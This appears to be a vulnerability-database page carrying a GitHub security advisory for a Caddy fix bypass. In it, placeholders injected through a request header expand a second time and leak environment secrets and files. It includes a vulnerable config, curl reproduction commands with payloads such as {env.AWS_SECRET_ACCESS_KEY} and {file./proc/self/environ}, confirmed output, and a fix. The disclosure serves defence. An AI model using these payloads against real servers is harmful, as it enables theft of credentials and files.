GHSA-WWHQ-W58M-W29C

Vulnerability from github – Published: 2026-05-19 19:35 – Updated: 2026-05-19 19:35
VLAI
Summary
Caddy CVE-2026-30852 Fix Bypass
Details

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

valExpanded = varStr
if !fromPlaceholder {
    valExpanded = repl.ReplaceAll(varStr, "")  // ← SECOND EXPANSION
}

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

  1. Config: vars tenant_id {http.request.header.X-Tenant-ID}
  2. Request header: X-Tenant-ID: {env.SECRET}
  3. Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.
  4. Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.
  5. Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

  • Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
  • Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
  • System info: {system.hostname}, {system.os}
  • Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

# Caddyfile
:8080 {
    vars tenant_id {http.request.header.X-Tenant-ID}
    @has_tenant vars_regexp tenant tenant_id (.+)
    handle @has_tenant {
        header X-Tenant-ID "{re.tenant.1}"
        reverse_proxy tenant-backend:8080
    }
    respond "Missing X-Tenant-ID header" 400
}
# docker-compose.yml
services:
  caddy:
    image: caddy:2.11.2
    ports:
      - "8080:8080"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
    environment:
      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production
      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY} Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

docker compose up -d
sleep 2

# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp

# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345

# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant

# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/

Confirmed Test Output (Caddy v2.11.2)

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp

$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345

$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645

Fix

Apply expansion guard to BOTH branches:

// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
//     valExpanded = repl.ReplaceAll(varStr, "")
// }

Or sanitize vars stored from user input before re-expansion.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/caddyserver/caddy/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "last_affected": "2.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:35:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# \n\n## TL;DR\n\nCVE-2026-30852 fixed double expansion in `vars_regexp` when the variable key is a placeholder (e.g. `{http.vars.x}`). The fix does NOT protect literal key names (e.g. `tenant_id`). An attacker injects `{env.AWS_SECRET_ACCESS_KEY}` or `{file./etc/passwd}` via a request header \u2192 Caddy expands it on the second pass \u2192 secrets leaked in response headers.\n\n**Affected:** Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.\n\n## Root Cause\n\n`modules/caddyhttp/vars.go`, lines 215-217:\n\n```go\nvalExpanded = varStr\nif !fromPlaceholder {\n    valExpanded = repl.ReplaceAll(varStr, \"\")  // \u2190 SECOND EXPANSION\n}\n```\n\nSame issue at line 358-360 in `MatchVarsRE`.\n\n`fromPlaceholder` is `false` when the variable key is a literal string (not wrapped in `{}`). The fix only protects `fromPlaceholder=true`.\n\n### Expansion chain:\n\n1. Config: `vars tenant_id {http.request.header.X-Tenant-ID}`\n2. Request header: `X-Tenant-ID: {env.SECRET}`\n3. **Pass 1** (`VarsMiddleware.ServeHTTP`, line 63): `repl.ReplaceAll(\"{http.request.header.X-Tenant-ID}\", \"\")` \u2192 resolves to literal string `{env.SECRET}`. Stored in vars map.\n4. **Pass 2** (`VarsMatcher.MatchWithError`, line 217): `repl.ReplaceAll(\"{env.SECRET}\", \"\")` \u2192 resolves to the actual secret value.\n5. Leaked value reflected in response header `X-Tenant-ID` or forwarded to backend via `reverse_proxy`.\n\n## Impact\n\n- **Environment variable disclosure:** `{env.AWS_SECRET_ACCESS_KEY}`, `{env.DATABASE_URL}`, etc.\n- **Arbitrary file read (up to 1MB):** `{file./etc/passwd}`, `{file./proc/self/environ}`\n- **System info:** `{system.hostname}`, `{system.os}`\n- **Full env dump in one request:** `{file./proc/self/environ}`\n\n## Realistic Attack Scenario\n\nAPI gateway pattern - Caddy captures a tenant ID header, validates it with `vars_regexp`, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.\n\n```\n# Caddyfile\n:8080 {\n    vars tenant_id {http.request.header.X-Tenant-ID}\n    @has_tenant vars_regexp tenant tenant_id (.+)\n    handle @has_tenant {\n        header X-Tenant-ID \"{re.tenant.1}\"\n        reverse_proxy tenant-backend:8080\n    }\n    respond \"Missing X-Tenant-ID header\" 400\n}\n```\n\n```\n# docker-compose.yml\nservices:\n  caddy:\n    image: caddy:2.11.2\n    ports:\n      - \"8080:8080\"\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n    environment:\n      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345\n      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production\n      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY\n```\n\nAttacker sends: `X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}`\nResponse contains: `X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY`\n\n## Reproduce\n\n```bash\ndocker compose up -d\nsleep 2\n\n# Normal request \u2014 works as expected\ncurl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: acme-corp\n\n# Leak env var via response header\ncurl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345\n\n# Leak AWS credentials\ncurl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep X-Tenant\n# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n# Read arbitrary file\ncurl -sI -H \"X-Tenant-ID: {file./etc/passwd}\" http://localhost:8080/ | grep X-Tenant\n\n# Dump ALL env vars (Linux)\ncurl -s -H \"X-Tenant-ID: {file./proc/self/environ}\" http://localhost:8080/\n```\n\n## Confirmed Test Output (Caddy v2.11.2)\n\n```\n$ curl -sI -H \"X-Tenant-ID: acme-corp\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: acme-corp\nX-Routed-To: tenant-acme-corp\n\n$ curl -sI -H \"X-Tenant-ID: {env.SECRET_API_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: sk-SUPER-SECRET-KEY-12345\nX-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345\n\n$ curl -sI -H \"X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nX-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n$ curl -sI -H \"X-Tenant-ID: {file./etc/hostname}\" http://localhost:8080/ | grep -i x-tenant\nX-Tenant-Id: 06140d4a8645\n```\n\n## Fix\n\nApply expansion guard to BOTH branches:\n\n```go\n// vars.go line 215-217 \u2014 fix:\nvalExpanded = varStr\n// REMOVE: if !fromPlaceholder {\n//     valExpanded = repl.ReplaceAll(varStr, \"\")\n// }\n```\n\nOr sanitize vars stored from user input before re-expansion.",
  "id": "GHSA-wwhq-w58m-w29c",
  "modified": "2026-05-19T19:35:47Z",
  "published": "2026-05-19T19:35:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-wwhq-w58m-w29c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/caddyserver/caddy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Caddy CVE-2026-30852 Fix Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…